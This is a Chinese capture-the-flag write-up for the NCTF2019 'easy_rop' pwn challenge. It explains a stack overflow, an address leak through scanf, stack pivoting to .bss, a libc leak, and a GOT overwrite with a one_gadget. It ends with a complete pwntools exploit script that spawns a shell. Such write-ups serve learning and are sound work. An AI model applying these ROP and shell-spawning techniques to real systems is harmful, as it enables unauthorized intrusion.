【Pwn】NCTF2019 easy_rop

查看程序保护。
在这里插入图片描述分析程序,程序只有一个main函数。
在这里插入图片描述
v6距离rbp为0x70,在输入数字的时候可以输34 * 4个字节的数,34*4-0x70=24,意味着可以溢出覆盖rbp,ret_address,以及返回地址下面的8个字节。main函数的old_rbp值实际上是代码段init的地址,返回地址位置是libc中的一个地址。scanf函数%d当输入为 '+'时不会改变原内存中数据,于是可以来泄露代码段首地址。在输入number之后可以在bss段上输入数据,由于溢出的大小不够所以想到用栈迁移的方式来做。用RopGadget工具发现了一个修改esp的gadget。
在这里插入图片描述
在返回地址下面,即能溢出的最后8个字节,填上bss段上的地址,那么ret后在执行这段gadget的pop rsp时,栈顶指针就到了bss段上,只要控制bss段上的数据,就可以继续进行rop,从而getshell,exp如下:

from  pwn import *

io=remote('xx.xx.xx.xx',xxxxx)

def a(data):
    io.recvuntil(': ')
    io.sendline(data)
for i in range(26):
    a('0')
a('+')
a('+')
a('+')
io.recvuntil('= ')#得到init地址
init_low=int(io.recvline())
if init_low<0:
    init_low=init_low+2**32
a('+')
io.recvuntil('= ')
init_high=int(io.recvline())
init=(init_high<<32)+init_low
print(hex(init))
base=init-0x0B40#计算代码段基址
bss=base+0x201420-0x18#-0x18是因为pop esp 后面还有三个pop操作。
print(hex(bss))
pop_rdi=base+0x0ba3
pop_rsp=base+0x0b9d
pop_rsi=base+0x0ba1
puts_plt=base+0x00810
write_plt=base+0x0820
puts_got=base+0x201238
read_plt=base+0x00850

a(str(pop_rsp&0xffffffff))
a(str(pop_rsp>>32))
a(str(bss&0xffffffff))
a(str(bss>>32))
pl=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(puts_got)+p64(0)+p64(write_plt)#write 泄露puts的地址,这里试过用puts泄露,但是后面的read会出问题,原因可能是在使用puts时改变了rdx的值,使read的第三个参数出问题。
pl+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(puts_got)+p64(0)+p64(read_plt)#覆盖puts_got为one_gadget
pl+=p64(puts_plt)#调用puts,getshell
io.send(pl)

io.recvuntil('your name?\n',True)
libc=u64(io.recv(8))-0x06f690
print(hex(libc))
one_gadget=libc+0xf1147
io.sendline(p64(one_gadget))

io.interactive()

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/103372692